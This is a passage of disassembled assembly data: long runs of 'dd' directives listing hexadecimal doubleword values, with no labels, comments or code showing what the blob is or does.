0A84EF9EFh, 34A67714h, 0A0586D62h, 6EF74F2Bh, 0BE750F0Ah dd 3E584D72h, 0E945EE00h, 31CBB41h, 9F4D48DCh, 76D66FA4h dd 0AA9107D1h, 0AE24BF44h, 7C07B3Ah, 0D9CDC482h, 0CAF6B806h dd 40C8FB58h, 9F843C9Bh, 0DFE12978h, 0D1D55149h, 4B7A3DE6h dd 42053431h, 1F9C00CFh, 0FBF18938h, 2A1E8A2Ch, 7905F8F2h dd 0C111A7D4h, 14E5BA1h, 0C856775h, 63F82CAAh, 0A75FB6C3h dd 0A2DF8B84h, 12234C13h, 9221C7DBh, 0EF07385Fh, 9EB39F06h dd 93CC67E1h, 8FBF739Bh, 35C51B8Dh, 5D9A9EB4h, 0ADD13E02h dd 1CF31647h, 0C14ACD5h, 56A522C5h, 0C97709F8h, 0CE9D64E1h dd 0C90DE4F4h, 0C7EDB9CEh, 0B2ED9474h, 0F8A821A8h, 44D0EF59h dd 56340BE1h, 57696261h, 75EFCB5Eh, 0E25D70B4h, 0FFDE21A2h dd 8CF0FD02h, 1A5DC4D3h, 5E07B0EFh, 5217F83h, 8B0791B4h dd 48FAA450h, 0B864CD4Ch, 80B35F38h, 9D36C3D5h, 4CE36217h dd 0AB4C5F6h, 0D192392Bh, 35934F8h, 1DBBA3D6h, 40D38654h dd 0EF7636A4h, 197F1013h, 98D72846h, 978FEB71h, 0DFF406BAh dd 0A8DD5B2Fh, 0D2B04E47h, 0DF2C46C3h, 0C5866D94h, 0E1628E33h dd 0CC65A1D7h, 0F48D21E6h, 29928411h, 7C1E37CDh, 7DB8BFD2h dd 46FDD78h, 34564809h, 0CB2CC1ADh, 0EF350283h, 0CD28B1DBh dd 9A342776h, 0A680FF8h, 0E0FAC9C6h, 1B6ACE00h, 0F7712D4Dh dd 0EFB68643h, 0B9879DBh, 8E6B9ABCh, 0A9A385Dh, 0A475C100h dd 1E810E5Ah, 745E696Bh, 9069E323h, 1B1D7A02h, 13EDE8F7h dd 320B8B0Bh, 0AE3484DEh, 3AA22A59h, 3FB254FCh, 6F6A37D8h dd 0BC9813FCh, 92BC74FBh, 0BDF60EF5h, 150F7423h, 0D4753A8h dd 6324B93Dh, 0CE83C182h, 847D9FCEh, 0CB967AC8h, 6B02D1Ch dd 9523F0EEh, 0DF86A6BBh, 0C1672CD0h, 4753B1F0h, 0E68B02FCh dd 436B1FB0h, 0F8FB7ECEh, 67670943h, 0F042D496h, 0EFAF7408h dd 0ED876773h, 0BC0B5B94h, 0E649CC0Dh, 0B1764EC3h, 0CA0C8C75h dd 186F0C7Eh, 0C8CF890Ch, 0E6179072h, 0DB7001B1h, 35941D6Dh dd 0E8C6F2B8h, 46C0B8E1h, 4CC66B67h, 64E7C3A6h, 0AEBC5487h dd 57FDE33Ch, 0BE4F2F1Fh, 0FA27A7F5h, 4B806BFFh, 0BF9146ABh dd 0DDC5F359h, 3126D82h, 0EBEE6E7Ch, 0E3374EDCh, 924547FAh dd 8AF78D6Fh, 3B6476F7h, 86DCF8D6h, 0B9F4A7A5h, 63FEA61Dh dd 7E6F49BAh, 752AC9E0h, 44077468h, 8576D28Ah, 0BC470018h dd 8FD67F43h, 0F7DC29D6h, 6BB34DC8h, 0E9D33290h, 0A98FA570h dd 810AB023h, 1F9E856Ch, 85D41758h, 0BA42A1B2h, 0FFE23F91h dd 53003FF2h, 0C9B3A046h, 0A9A92DCh, 1404557h, 9F40B6BFh dd 0AEFCB75h, 92459405h, 0CE763227h, 792D46AEh, 0DE98CF81h dd 8D9F8B54h, 0AFED50E7h, 548BCE1Dh, 8D6546Fh, 2DCF700Ch dd 0ADBCCC57h, 755012E5h, 8CE8CD9Eh, 0C4A47FF4h, 0DD2924F1h dd 0C19CFF5Fh, 0C6B3FD27h, 9395857Dh, 0A395579Eh, 2485630Ch dd 0C31C99A6h, 4481B35Fh, 2566219h, 34667156h, 0E2059717h dd 88892A88h, 0B1545998h, 1DA561F9h, 801E0816h, 0B8E01202h dd 7B1976Fh, 0DF25380Dh, 22E2D457h, 3F515413h, 117AAC9h dd 26AFD8EEh, 9ECCD5CDh, 3E9CDF47h, 8E1E2B66h, 81141C8Eh dd 0EA54B523h, 218670D4h, 0C37CC9C1h, 0D00D7460h, 0F5A2958Eh dd 12154E16h, 8F6E5D27h, 0E2A1D5A4h, 843B5921h, 6F490A87h dd 676EF593h, 8ABB4C6Eh, 3EA41344h, 4DB36D29h, 0B7126B72h dd 86FE8345h, 0B4B15C1Ah, 950470h, 0E55F679Ch, 312FED02h dd 54B54FC9h, 7C9F4036h, 0C790695Fh, 0F5D45543h, 533A0F82h dd 22C4BD78h, 0A939DF06h, 8BB0BFC2h, 499AE2B5h, 83435FA1h dd 0B0606E7h, 0EFAEE734h, 0E707BFB3h, 0B612BE7Dh, 4989C508h dd 4FD50D8Bh, 46817021h, 306479E6h, 7CC4E8B4h, 0F5509FD5h dd 527EE1CAh, 7E77ECF2h, 51D86C47h, 0F2F779h, 0AF6643BAh dd 0E206C12Ch, 3342115Eh, 0C1498C02h, 5D09B89Eh, 51BD6E4Fh dd 0C373ECD1h, 0A38C68FAh, 57C081F4h, 0D8EC2AEAh, 701E609Dh dd 0BC2FBE42h, 5BB13384h, 755BA348h, 0C54FBCE2h, 41EDDCFFh dd 6495206Fh, 10E04C1Fh, 5DC78249h, 52925322h, 9E1DE6B9h dd 266A2A3h, 34387891h, 1FD5D3A6h, 0C27EDE95h, 44C1671Dh dd 0D49DF11Fh, 0C014DC66h, 549129D6h, 0F6C34CA1h, 0D8E105D0h dd 0D1C9FC09h, 0EF0BEC53h, 0C64B1F2Eh, 0ECA56931h, 43676287h dd 75A63B1Dh, 22A60E38h, 5211A10Eh, 3039F358h, 68AB4E35h dd 0D99C447Dh, 0E203DF70h, 51158177h, 0E0E93E5Ch, 0CCBFBB0Eh dd 11047A9Bh, 9F6AE8Bh, 716EBD7h, 0CF10B821h, 94461EA9h dd 7B287428h, 0AD3FB2B4h, 0EDC01CCCh, 0F3C6DDC6h, 9307D4A4h dd 0FD97E456h, 6EA81A13h dd 327F9AFDh, 0EA0EE748h, 0DDD99885h, 0D0657D3Ah, 0D1BAD230h dd 0A5792CACh, 0CAA3D20Bh, 1FAA5518h, 966219DDh, 6F1EF9D6h dd 43A11679h, 882E7DC2h, 4E1AAECEh, 0B8FBF85Bh, 3C85AD56h dd 0F6EEC162h, 99C69889h, 3762FEEBh, 680F67D7h, 1585C0E2h dd 0E50651E2h, 1DAF5082h, 396CA9CEh, 0BA41F590h, 17A26C51h dd 9EA43933h, 99A1C61Ch, 819877D8h, 4B6BEBAEh, 0DA1DACACh dd 6ABCBE97h, 6A8EE178h, 18A0E216h, 0DBC44098h, 0E565BD70h dd 90A48D7Ah, 0ACFE76C5h, 0E27F6C7Dh, 0B13EDA94h, 0A81FE2E5h dd 80AF2373h, 0BCD84BA9h, 1E4C33FBh, 0FA88144Eh, 96AD77B7h dd 3A23488Ah, 0A53682EAh, 19BBDDF1h, 0F5C550C6h, 9083DFBEh dd 520A56B8h, 0C23E2B34h, 257A8091h, 0ACC583BBh, 0D6B92C5Fh dd 0A4B33F56h, 0B7EB6CB9h, 0F805C9D8h, 5750CDE7h, 637F2B0Bh dd 6685C9C1h, 9D5B80FEh, 0B6A41787h, 32FBFAF3h, 0C9955D0Bh dd 0AFF79B1Fh, 16E5FC77h, 0E1D59E16h, 22A1A40Ch, 803099BCh dd 0E554CDDEh, 20DF6AE3h, 8D23C082h, 825C2DE6h, 0E3762BDDh dd 29808C85h, 43AF7E93h, 0ECB49E99h, 0C80F69D3h, 0B9996765h dd 5C9C1B65h, 0E95C561Fh, 0D9D90791h, 9C956A47h, 6385AD8Ch dd 0FDC04A1Dh, 0D44C0432h, 0D7026ED0h, 0A1D63285h, 0EFA9A245h dd 0A7A5D315h, 6AAB409Fh, 0E64FB66Bh, 5E7DBD79h, 99158AB2h dd 98E46F47h, 362F4C41h, 794D39CDh, 6162B377h, 0F255E226h dd 0D8A97E6h, 7170D7C8h, 42A866B1h, 4A715883h, 5CA276F6h dd 0D3FAF98Eh, 312881F6h, 51D706E1h, 0A35F64ACh, 0D95037F2h dd 8ADF0335h, 50E8C0AEh, 60D8A63Bh, 8CC16D9Dh, 0E5522305h dd 0E8AA0C7h, 51182410h, 32BF138h, 0DB36FEB8h, 50F5DAF2h dd 71799F9Ah, 477F377Bh, 682F879Dh, 752668F5h, 9E1A9221h dd 4C249366h, 0E085DA7h, 0D556FA2Ah, 7A465F6Dh, 0ACB6AA92h dd 5FB1D307h, 0B49EE725h, 0DE719DEAh, 98CC7A05h, 1830D86Fh dd 7AD366CDh, 0E37CA2FFh, 0C1E82EF4h, 0B0AE964Dh, 0EF15A8D8h dd 351071F2h, 4C911971h, 52886C11h, 15DFFAC6h, 3BE879ABh dd 0FA81DC1h, 0BF79C06Ah, 0EC3C7ED6h, 0EF215A60h, 0A321E87Eh dd 883822F0h, 0BEA032F9h, 0E4E89719h, 15275291h, 0C0E234D3h dd 56F7996Fh, 2EC992B0h, 119FC052h, 0AC5E4513h, 0A4905319h dd 542F527Ch, 1B2D5A5Dh, 0E9819D41h, 16A4F469h, 85CFE367h dd 56D3BC53h, 7AFFD23h, 73845AE3h, 0E419ADDh, 856E7153h dd 53AC9075h, 6CF43363h, 2BD34AD2h, 0DCE4FBBEh, 9B03486Eh dd 6621A860h, 57DFCB1Ch, 162B709Dh, 5C7F6FBh, 0B239F0B1h dd 99194616h, 0AFA50E97h, 55E2A772h, 6D3146F3h, 0FA72B38h dd 6727A747h, 0A6720261h, 376DAAE9h, 0B31201ADh, 438008B4h dd 669E9109h, 11EF4F49h, 6AD72D7Bh, 25F0FEB1h, 49F98D0Eh dd 42773DB2h, 0F6AE4E21h, 2AC991D0h, 957B4B5Eh, 0C10C5DF6h dd 514BBF01h, 0E2AFC43Fh, 1E5B0BAEh, 5911B5EFh, 29609DEEh dd 0FFD8E837h, 0A8E9FB9Bh, 9C8320AFh, 0EC6C0E6Bh, 0DFBAD5E3h dd 8BCCB24Ch, 0FEEB124Eh, 1055CE8Eh, 94D15C1Ah, 0A79FB365h dd 0F316F4DAh, 783F6C5Bh, 0FE2F565Ch, 792491B2h, 17516570h dd 65FFE4FFh, 85DF724Ah, 58384078h, 13B37B99h, 0E810FCF8h dd 0C0ADC74Ah, 3D41DE6Dh, 0C7C29A00h, 54E51EA1h, 0A3B59986h dd 4396E0C9h, 1A2C9C81h, 749FEA78h, 6F4FB0F4h, 26880FC4h dd 0A0602805h, 0BA518E1Ch, 0B6CBE59Ch, 1E05383Dh, 6DB95F80h dd 0D386FDF6h, 600FC8DEh, 0EC599E6Dh, 5FE17F22h, 74F6689Bh dd 7C015093h, 0A6E68379h, 0DE611CE1h, 82330C40h, 0AC25A814h dd 0B5BFDDD5h, 0D8C984D0h, 5C6C7F60h, 13DE8D9Ah, 5FE0039Ch dd 0CAB5DC6h, 98A5719Ah, 0FFBF5FAEh, 0F35FB866h, 0C76BF84Ch dd 0CD7114CCh, 15C66A43h, 6E40396Bh, 54473B7Fh, 4C15EF26h dd 554A7449h, 9898C982h, 1CEBBCA2h, 0FD3C6F32h, 8DA9E2DCh dd 8121F5Eh, 31A13219h, 55AF76E8h, 0D054762Ch, 58136783h dd 0EA9E1586h, 15B33DD9h, 0D87CBE18h, 67B69A8Bh, 0E90DC2D8h dd 0F8C67DCFh, 73398B8Fh, 0E35FE8D3h, 1A29DA9Ah, 0AD9C3A7Ah dd 792C247Eh, 9B20341Ah, 68FDFF94h, 2EE06273h, 4E0C5D86h dd 8D795DF5h, 614BC0E3h, 970D65E4h, 0D4EE9CFh, 0CD38F545h dd 5BEE8CA7h, 5318D13h, 0F9D7CD5Eh, 6C340D02h, 403FA8D2h dd 5AF61BBBh, 2A7644C4h, 0D6DBC67Bh, 5B36DD0Ah, 0DAC0AB09h dd 4DD7639Ah, 0C1280CACh, 4FA34BADh, 797574C6h, 0A54CAE6Fh dd 71E60BB3h, 4AB52604h, 1DF6645Ch, 0DC6A0098h, 0C264D6Ch dd 0C9A3D5B3h, 68D80F9Fh, 0D5097D94h, 15423939h, 4326B6B7h dd 633BEF77h, 12BC7DF4h, 0CB880925h, 1ADA4C8Ah, 9CE6D18Bh dd 46B88171h, 8951E7BCh, 0DD45043Fh, 1F353465h, 0D42735DEh dd 8D2F0B11h, 0C92EF507h, 1C8EB3Bh, 0D24AB95Ah, 0F1B78BF8h dd 98D864B7h, 4D891515h, 0C26F87A2h, 0E267D196h, 57CE3AB7h dd 3015EF84h, 48626BD8h, 2C098E2Fh, 9C15D06h, 6A768D97h dd 8DE69CEFh, 94503A08h, 6A168639h, 4D8599C1h, 0D74C7913h dd 0C5D32013h, 21D42DD6h, 0F55BBD12h, 70F88444h, 540A1450h dd 0F285B0CEh, 0CAB48E6Bh, 0EA6B67CFh, 675CF105h, 71EEFCAAh dd 26D19640h, 0FD63C67Eh, 14AD26CAh, 9E875455h, 92F7D275h dd 527E18B6h, 0B3176EE9h, 0CD19A247h, 7B28F11Ah, 77D64BCh dd 4C6F18E8h, 81BDF804h, 0DB6673C6h, 85AEA4Fh, 2B52953Ah dd 0AF56DEB9h, 0F38DB89Bh, 0E71DAC60h, 3DDD6387h, 8BD55E77h dd 35F70123h, 0B509B85Bh, 0C735CB9Ah, 49AD1858h, 0EEAF01CCh dd 598C1976h, 1D4C594Bh, 400F087Dh, 0C95D11C1h, 0AD22DE93h dd 6C571DFDh, 6E7D0C32h, 6CC74C4Bh, 813AD985h, 0EEF86EB6h dd 3F292F66h, 771E1B7Bh, 414B8FA0h, 99B9EC02h, 361A339Bh dd 0AA53B236h, 0A4351418h, 91CF8352h, 0B1DDA47Dh, 0EC83902Bh dd 0BCA1F7F6h, 0B84CC36Ah, 0FDD36EAFh, 42E9F0E8h, 9984A886h dd 6F6892CAh, 38819C2Ah, 40A5AE10h, 0E29E679Ch, 0F8E8396Eh dd 0D1DE602h, 0F0822439h, 48DCD8E0h, 95CCEF91h, 6C66BC5Eh dd 10C1B498h, 749A76B3h, 5A03711Eh, 65AEE0B0h, 8DA64372h dd 4E663A8h, 0D3A66AB4h, 6FFB1EB1h, 782320AAh, 231B4986h dd 0E6D7D8FAh, 9B597DDh, 0E023E6D3h, 7896F500h, 0AB3CC12Ah dd 0B4A939F4h, 767F649Eh, 6AE8CD58h, 31D58B93h, 301EEAh dd 3014B4AEh, 9FCB89E7h, 2FE8B884h, 1AC15254h, 8260249Eh dd 799DC7EAh, 0D7C724C8h, 60030335h, 9999054Ch, 0AAABD288h dd 48ED1C7Fh, 58171F4Eh, 0CBEFE104h, 423BEB6Dh, 9C4E40A2h dd 0D70195BCh, 3FB54DECh, 464A2516h, 79730BFEh, 0D1A24857h dd 0BD951590h, 6DD027E8h, 1873775Fh, 0F487736Dh, 0E1C2194Ch dd 0BA530660h, 0E0B88A4Bh, 227C15C6h, 5AA08B7Eh, 64D581C1h dd 0A424C20Dh, 221012C9h, 3F99C382h, 8BDABADh, 6675CEC6h dd 7AEF5D60h, 0E1038840h, 0B86A7E76h, 46A3E34Ch, 0B1088EF4h dd 5F18F60Dh, 865EC3ADh, 0A4D84988h, 0E800ADFEh, 6EC3AFA4h dd 32E8F597h, 74038D32h, 49E4F6D2h, 14C5FE51h, 0D6F4E3Bh dd 0EC2FD5ADh, 8B86A9D8h, 0DE1A8F32h, 11A7E4B9h, 9AA795CEh dd 0D934A324h, 0C1DC968h, 5B9B3492h, 376A26D2h, 177271Fh dd 17653520h, 0D67321BAh, 6942D2ACh, 0A9118938h, 7F2DE99Eh dd 0A0B638B1h, 4BE2F152h, 863995D3h, 0E7CF1A6h, 0C174D023h dd 8278EFE0h, 0B7B15F23h dd 1B663105h, 59D55C34h, 0ECEB104Bh, 519E082Bh, 5E2593D5h dd 0D09EA1C8h, 8381531Ch, 1E8AE8CBh, 55D7DB91h, 37293911h dd 0B51C5B43h, 0B8038A17h, 40312963h, 300A529Eh, 972FB836h dd 621C0026h, 0A16C0356h, 7DBE6149h, 0E360804Ah, 0C5F7765Fh dd 6EC26029h, 7AD1D796h, 7322CAE5h, 0FDC67961h, 2F0C1758h dd 15C926ABh, 661631C3h, 1E32E8FAh, 0E6C7FDF6h, 7B159C84h dd 9340B42Dh, 0D172C7DBh, 1A5B176Bh, 0E0D7E24Bh, 14B6314Fh dd 0A9ED13DBh, 4A44B352h, 0D436670Dh, 0A2DDA9DFh, 6E094D3Bh dd 8119D0D6h, 0A8DDE6AFh, 0ECC9960Eh, 314CB89Dh, 77C7396Eh dd 0B9D2A926h, 6C7AFC94h, 74107C86h, 6F6E531h, 15D2D7B0h dd 7C715071h, 556D1F5Dh, 60197D20h, 0E900AB6Bh, 0A64B0B0Dh dd 0E937956Ah, 5D73DED3h, 6A61F57Dh, 0A62190CCh, 227A502h dd 52B4527Bh, 7945BCE6h, 237A06BCh, 286F1F2Ah, 0D65B9182h dd 8797C343h, 748FB3F3h, 0D5186A91h, 4981DCEAh, 593E2419h dd 5E285C70h, 6D2610CFh, 2857AFABh, 6639AD7Bh, 256C7DAFh dd 0B675FEE1h, 8498898Dh, 43EBA572h, 3437C99Fh, 8FF24FEEh dd 32D5A7B6h, 2613241Ah, 54138D20h, 0D2D96831h, 347EA7C7h dd 0F9639B8Fh, 9677542Fh, 0DFA796B3h, 849B09D3h, 6AAFB7E3h dd 895CCD87h, 6A648778h, 0A5668C6Fh, 363675h, 75508930h dd 0E5076958h, 666E10D8h, 25346FA8h, 17E7BA3Bh, 61AD76C0h dd 996B7432h, 23931F6Eh, 0C321C7DEh, 357574CEh, 0DF70901Ah dd 0BA012CDEh, 437B68DBh, 96D47FD6h, 0CD111672h, 52413F3Dh dd 0FCDC2062h, 4D0AB596h, 7C536A1h, 840FCE0Fh, 8FD833F7h dd 61359758h, 95350804h, 55629BC0h, 40F8532Fh, 3003C53Dh dd 43079A11h, 437A354h, 0B6FF7D01h, 8CD99479h, 57E70E68h dd 0D2720749h, 3EF55561h, 0EBB85187h, 456CA127h, 2EA598Fh dd 0FF70CBD3h, 0D8510E66h, 0BB00A0D0h, 0CD99E2F1h, 0A7E5FBA5h dd 0EE9FA65Ch, 7DB77091h, 77395051h, 611FCEE6h, 9DEAA277h dd 0E0B9BBFFh, 7AE0D91Dh, 0D0930DF2h, 389AD9BBh, 0F744835Dh dd 7578466h, 2143BEAh, 9F72854Fh, 0E9EF7BFBh, 65EE0523h dd 0D0BA11F4h, 0AC8CF52Ah, 1A225086h, 0F648BCA5h, 8ECDA387h dd 0F194EFABh, 2B6FC795h, 6DB1A392h, 0C19ACEB2h, 846D11Dh dd 292233A9h, 5C5A9E7Dh, 43E51AC8h, 0BB8B2CB1h, 0B86B487Bh dd 5CD67E87h, 35F37F2Bh, 0EF9939C2h, 6E3C5A65h, 0BFFE728Fh dd 16AF5D2Ah, 9C64BCC1h, 0BA5EF2C6h, 5396FBD9h, 67407773h dd 984A419Dh, 8208234Bh, 0ABCEA0E3h, 0B289B92Eh, 9BC63CBCh dd 93D22B16h, 8CF91CCh, 0DEDD35FAh, 83360183h, 0BD6A9580h dd 220A11B4h, 0A8BCE564h, 72AE7EE0h, 51A62E70h, 0B670A8A9h dd 25225219h, 0FB96A04Fh, 9EFC8412h, 0D82EDB98h, 0A8995D87h dd 402DD55Fh, 12684980h, 0A22FBCAFh, 0D526897h, 0CE6D1BAFh dd 0DF29CAD2h, 25F7F644h, 0ACE05B8Fh, 0CF0CEAB4h, 853EA79Dh dd 0DD17A3CDh, 8399DB2Dh, 0A98B7171h, 7981655h, 0AD7715EEh dd 659C0754h, 550ADA14h, 76F6AE2Ch, 2739006Fh, 3B21BC29h dd 0C6CD0B7Ah, 18CE7CC7h, 0AFEF1577h, 0B17E027h, 0FB5BF158h dd 0F9D77008h, 0B1A9D214h, 0F4C8A13Fh, 9D2DA37Bh, 98549519h dd 425568EBh, 0D605FE18h, 0BE5C6DEAh, 3FD66D43h, 0DCF8D871h dd 4B12E1BEh, 71AD33A1h, 5ABFE47Ch, 2290086Bh, 5E1C057Bh dd 0EA556B94h, 86AE4686h, 0D1817478h, 0D9CEFD73h, 0B822685Ch dd 0BD3E9451h, 0CB6EAE64h, 0BAE1FA0Bh, 0EFB5ABE4h, 867C9335h dd 501FA2FBh, 3FEABCDh, 41C06EC9h, 4004FAADh, 0F445A0A2h dd 0E36DAC69h, 0DB546985h, 0D4F57267h, 270083B3h, 11540281h dd 0EA9C8ECFh, 0BF63EFE3h, 0A41F739Ah, 0CDD4189Fh, 26D5A120h dd 0DF34CAA8h, 0FCA5D178h, 7A539B14h, 0BB1BB3B0h, 0BADD055Dh dd 7ECD7F58h, 5AB7EBD9h, 4F21A842h, 0D6A908E5h, 0BA1A1D8Fh dd 0AD573327h, 63E60330h, 0AD1EDD23h, 5BB20A5Ch, 95364D4h dd 70148763h, 0E319C2DDh, 9CBDEFB8h, 0F5D4A9C8h, 0CA3B25FDh dd 0A8F6E100h, 6A3B579Dh, 5F1D71DFh, 0C7949785h, 0BB23FAA0h dd 9B615120h, 0EE173433h, 11399CAAh, 0C0E63848h, 0CC3DCCE7h dd 0FEB9C8CFh, 70A800FCh, 11C2731h, 784D8639h, 0E628AA76h dd 0D3A88059h, 1F5B67D4h, 75C1BFF3h, 28BE7F49h, 0F115486Fh dd 5B91A9Ch, 17D41483h, 0C3190B48h, 333D94E1h, 4C222445h dd 0F738330Bh, 0E4A798DEh, 94030F1Bh, 2144CDA5h, 3157ACDAh dd 425D56C4h, 0A8715DD4h, 86A04DE8h, 38A88391h, 9762FA0Fh dd 9CEF84EAh, 55EE5FDCh, 5E81318Fh, 8736458h, 0F713EB57h dd 0D902F543h, 6202A4C3h, 4C16FD12h, 0FAFD4FC9h, 0E2D999B9h dd 1AA4F652h, 0A81427FDh, 9A1C0A19h, 0E267BDC1h, 2632FC3Ch dd 0DE720529h, 0CECC075Eh, 987551EDh, 79E3DFA8h, 22F347DBh dd 0C8692E3h, 0FF9183Ch, 7CCC7AB3h, 0B6F6B5D5h, 97BDED21h dd 0A4FCEAEFh, 787FFBDEh, 0DFB8B90Bh, 0C22FF688h, 36A07ACDh dd 5FD2C2E9h, 0FD545B10h, 6D3559Dh, 95D74493h, 8B9D90Ch dd 2EA7E9D1h, 0F886AD9Ch, 854404BBh, 0B503A45Fh, 4F7E596Dh dd 47E3DE03h, 52007A8Eh, 0C37B775Fh, 2EC718A3h, 164ADD5Bh dd 0CAC00EBDh, 101C184Dh, 50405BB6h, 55FDD973h, 0A06E681Ah dd 7224E067h, 0A3F4BD06h, 0E616D930h, 0CE5F638Ch, 0BC64F909h dd 407A4945h, 66364B41h, 791AA31Eh, 0E727F8Bh, 95B08655h dd 72DBA43Bh, 0E7B0576Dh, 1709606h, 592A57A1h, 0E2341D66h dd 885B5942h, 18B088DDh, 51BFFF3Ah, 0E4460478h, 4AA2F244h dd 7AF57C6Dh, 5A975B4Ah, 0E0E2040Dh, 1A8B527h, 34064DA3h dd 0C26DDF88h, 255071FDh, 0F0397608h, 8D1AD877h, 0A73A94EFh dd 0E15EEDF7h, 0CDD13FB5h, 2519FA7Bh, 0E9EDE651h, 0D2A1D87Ah dd 8FB1DD5Bh, 69D0BDE5h, 0CBA7C8E5h, 0EA47C2B4h, 1DBEFA63h dd 23A08CC1h, 8F0D7C5Eh, 87C7A347h, 3E9BDB2Ah, 1574A458h dd 6394D96Dh, 7D8987B9h, 2C2CA27Fh, 9EEEBAB3h, 0CD1ED712h dd 6591D78Fh, 4D3FF85Fh, 2B510F81h, 826BEB67h, 97C4DFF7h dd 0AB122341h, 4914586Fh, 0F52C6B77h, 0AA81BA56h, 2373BD0Ah dd 8D4CD9A0h, 0D6922CA8h, 4EA38B95h, 77FED611h, 83116DEFh dd 11D2AA4Ah, 0B13A4EBDh, 445C355Dh, 0A0B84300h, 0E9F6396Fh dd 0EA62401Ch, 0E9F6B965h, 0E75741D2h, 0FBB7DC51h, 21E402C1h dd 0CFD43AD2h, 1EC2F67Ch, 0D00D8B48h, 15EFFA89h, 179774EDh dd 0CC92D123h, 1B57272Ah, 2E419B2Dh, 5A750BBBh, 86022373h dd 134CFD28h, 3B939211h, 73510E07h, 5A86AD2Fh, 42AC57C8h dd 0BADEB4BAh, 0C9BC5117h, 0FA96C58Eh, 9B24E86Eh, 0D154EEC0h dd 122C8823h, 63039491h, 87106D59h, 0D2BC4F6Ch, 53FF442Fh dd 555E1E16h, 0E01D5329h, 0A434A853h, 0DC8C4DF0h, 4389BB08h dd 3C37FD50h, 0CA6A115h, 0F164546Eh, 824BC87Bh, 0E40E5513h dd 2EE3355Ah, 2FB26FB5h, 938E00D8h, 0F97400B1h, 988DD572h dd 540787C7h, 7F7C4857h, 20863D12h, 0E92F20AEh, 0EA4E2D56h dd 212EAEC6h, 64FA673Dh, 0DD3F0FA8h, 3B0979BCh, 0E30F350Fh dd 9488FB12h, 0B380290Ch, 0B66CDCEFh, 0C1F322D7h, 0BBA6BAF7h dd 793F5C83h, 0F0D043B8h, 2881059Ah, 861E04DCh, 91305166h dd 0B498B0DBh, 0FCFA24E6h, 8B92C658h, 17FCE491h, 7ACBD05Dh dd 0B7419FC8h, 0A8E389ACh, 8FC2745h, 2108C6D6h, 0FC5A3664h dd 4B64224Ch, 3F54A366h dd 434ADF84h, 323D4217h, 0E0BB0311h, 4C7EF9A3h, 59BEF08h dd 4F0C2849h, 0BB1A08F8h, 8AC33F80h, 0D2144279h, 0C181EA73h dd 0B1445C48h, 3556B02Eh, 16ABA509h, 2213CEFh, 117D7376h dd 7D2F144Ch, 4A100716h, 0AE4ECDDFh, 0FB5ADC52h, 6B63BC9Bh dd 92C54A5Ch, 0F044676h, 0B07B219Bh, 2BD69E85h, 0E34F31BCh dd 0DA0BAEF1h, 0EA0E899Dh, 0EA48495Eh, 0DEE87DAh, 0C6612D0Fh dd 2917B6C2h, 0DAFDCC43h, 45C02F0Fh, 19B24DEBh, 0E7D07C71h dd 0C9AC477Ah, 0EF02E902h, 0C6F4C9E2h, 0BE673F2Fh, 49C5275Bh dd 3C8E96h, 2CF4A10Fh, 0FA2753DEh, 0E189AE7Fh, 7EE7B256h dd 7828AF45h, 0E294A481h, 1DFF9C80h, 1127046Dh, 6F5905Ah dd 0C38E03FFh, 0B1535C56h, 0C1862DFDh, 45228AE1h, 0A37CB2B6h dd 0FF59C585h, 182B395h, 71359B7h, 6AE34F04h, 3BE32FF2h dd 2A1C66C8h, 0CA108569h, 75222E7Bh, 84353CA6h, 4B1A3918h dd 0E1E98175h, 515254FDh, 53FDBC09h, 7F4A5029h, 0B57CFAD2h dd 935E95ADh, 4C63CBA2h, 1182B66Ch, 966CDF75h, 61A9F878h dd 336457EAh, 13178360h, 0FDC1FAD0h, 0CAEABDD1h, 549ED622h dd 8AF7269Eh, 0A4A8AD3h, 0AC2460Bh, 95F347A0h, 5A76EE82h dd 0E98C323Ch, 6B7C3874h, 0BD2E0106h, 4E306D14h, 0AC832651h dd 892135E2h, 0FC924909h, 6EA0DD00h, 266BA3FFh, 7706E626h dd 8D2382C5h, 6C82BBD3h, 0D5143139h, 75FCE08Dh, 886B3DDFh dd 47BC929Ch, 8C6D87AEh, 64DD26DCh, 4EA1E839h, 1E401062h dd 0A4BD9D72h, 9CE6BFCh, 87BC092Dh, 0B005A82Ah, 5971CCB2h dd 0D507B687h, 246BEB4Eh, 84160163h, 5FB842EFh, 112172A4h dd 165FE3F7h, 0F76C45A5h, 1A0CA9C9h, 0B9F98EE2h, 0AE448A41h dd 0A6677E4Ch, 0CE9A526Bh, 960A1480h, 0D1444A93h, 53F534B6h dd 21775817h, 0EFF5AAB4h, 0AB9CD4D1h, 92079207h, 0A1B7DB98h dd 632AEB17h, 0C5D71433h, 0B3F24ADAh, 10786DFCh, 0A11D8E73h dd 75AB2801h, 0BF9B03Fh, 44363DA0h, 0F7CEA6A7h, 0D3225F60h dd 0F86DDB28h, 9D8279A1h, 0DD37720Dh, 45690B86h, 0A3562C46h dd 0B9CEC856h, 6E36D8C6h, 0A9A46AA9h, 0C17A2AE3h, 0E34443EEh dd 13653D6Bh, 320CADA3h, 5E8A895Eh, 0D9095ACCh, 299EB20Ch dd 59058E24h, 0D7C89CA8h, 82282A1Ch, 9160C774h, 38B0FE9h dd 381DAE5Bh, 0D807089Ch, 0CEE90DAAh, 6B145F0Ch, 0A3FDCF7Ch dd 122DA458h, 9C0F8184h, 1DB2BC3Dh, 0C0EEE320h, 5D625ACEh dd 0B3F27579h, 83504774h, 0BEB69380h, 0E14205C0h, 39603E0Ah dd 3A1B8245h, 0EF779406h, 24E04074h, 22C14D18h, 0CBE1A6Fh dd 7F46408Bh, 34E32A75h, 650BF9A2h, 28714073h, 3CB84CB8h dd 0C9B3D9C3h, 7A17A502h, 32F8137h, 5D5F3A2Fh, 7C0C02BBh dd 0BC9EF139h, 3FB8E8DBh, 0A948E421h, 4D3B362Eh, 1B89905Ch dd 0F986D867h, 609EEC85h, 5C8C339Dh, 133A25A3h, 0CCB77629h dd 0B5C448DEh, 959FDB2Dh, 0A562EA3Ah, 626B3FD5h, 68EDA75h dd 67BD7FA5h, 8D8A409Fh, 0A4518940h, 8770FEFh, 2AFA24A5h dd 24D8B6AAh, 22873FF5h, 919800D5h, 0E09E1428h, 0E141E35Ah dd 0E4DA53BCh, 5E5B452Dh, 226AD139h, 52790A7h, 0FF80697Bh dd 0A1A704E2h, 0CC9D8899h, 0F4CD44D8h, 4400247Eh, 0C111D208h dd 70DF1E8Eh, 5F7A7055h, 0B73B2820h, 80238B46h, 0F117FEA3h dd 1A182D2Ch, 0B65B05F8h, 333D0FD7h, 93F62DCh, 739350F4h dd 27121148h, 0B96B7ED3h, 0C002D373h, 294B6626h, 